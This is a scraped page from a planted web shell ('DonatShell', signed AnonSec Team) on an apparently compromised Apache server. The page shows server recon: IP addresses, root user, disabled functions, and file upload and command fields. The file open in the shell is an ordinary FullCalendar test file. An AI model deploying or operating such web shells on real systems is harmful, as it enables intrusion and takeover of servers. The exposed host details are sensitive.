%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/allDayDefault.js
describe('allDayDefault', function() {
  describe('when undefined', function() {

    it('guesses false if T in ISO8601 start date', function() {
      initCalendar({
        events: [
          {
            id: '1',
            start: '2014-05-01T06:00:00'
          }
        ]
      })
      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(false)
    })

    it('guesses false if T in ISO8601 end date', function() {
      initCalendar({
        events: [
          {
            id: '1',
            start: '2014-05-01',
            end: '2014-05-01T08:00:00'
          }
        ]
      })
      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(false)
    })

    it('guesses true if ISO8601 start date with no time and unspecified end date', function() {
      initCalendar({
        events: [
          {
            id: '1',
            start: '2014-05-01'
          }
        ]
      })
      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(true)
    })

    it('guesses true if ISO8601 start and end date with no times', function() {
      initCalendar({
        events: [
          {
            id: '1',
            start: '2014-05-01',
            end: '2014-05-03'
          }
        ]
      })
      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(true)
    })

    it('guesses false if start is a unix timestamp (which implies it has a time)', function() {
      initCalendar({
        events: [
          {
            id: '1',
            start: 1398902400000,
            end: '2014-05-03'
          }
        ]
      })

      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(false)
    })

    it('guesses false if end is a unix timestamp (which implies it has a time)', function() {
      initCalendar({
        events: [
          {
            id: '1',
            start: '2014-05-01',
            end: 1399075200000
          }
        ]
      })
      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(false)
    })

  })

  describe('when specified', function() {

    it('has an effect when an event\'s allDay is not specified', function() {
      initCalendar({
        allDayDefault: false,
        events: [
          {
            id: '1',
            start: '2014-05-01'
          }
        ]
      })
      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(false)
    })

    it('has no effect when an event\'s allDay is specified', function() {
      initCalendar({
        allDayDefault: false,
        events: [
          {
            id: '1',
            start: '2014-05-01T00:00:00',
            allDay: true
          }
        ]
      })
      var eventObj = currentCalendar.getEventById('1')
      expect(eventObj.allDay).toEqual(true)
    })

  })

})

describe('source.allDayDefault', function() {

  it('has an effect when an event\'s allDay is not specified', function() {
    initCalendar({
      eventSources: [
        {
          allDayDefault: false,
          events: [
            {
              id: '1',
              start: '2014-05-01'
            }
          ]
        }
      ]
    })
    var eventObj = currentCalendar.getEventById('1')
    expect(eventObj.allDay).toEqual(false)
  })

  it('a true value can override the global allDayDefault', function() {
    initCalendar({
      allDayDefault: false,
      eventSources: [
        {
          allDayDefault: true,
          events: [
            {
              id: '1',
              start: '2014-05-01T06:00:00'
            }
          ]
        }
      ]
    })
    var eventObj = currentCalendar.getEventById('1')
    expect(eventObj.allDay).toEqual(true)
  })

  it('a false value can override the global allDayDefault', function() {
    initCalendar({
      allDayDefault: true,
      eventSources: [
        {
          allDayDefault: false,
          events: [
            {
              id: '1',
              start: '2014-05-01'
            }
          ]
        }
      ]
    })
    var eventObj = currentCalendar.getEventById('1')
    expect(eventObj.allDay).toEqual(false)
  })

  it('has no effect when an event\'s allDay is specified', function() {
    initCalendar({
      eventSources: [
        {
          allDayDefault: true,
          events: [
            {
              id: '1',
              start: '2014-05-01',
              allDay: false
            }
          ]
        }
      ]
    })
    var eventObj = currentCalendar.getEventById('1')
    expect(eventObj.allDay).toEqual(false)
  })

})

Anon7 - 2022
AnonSec Team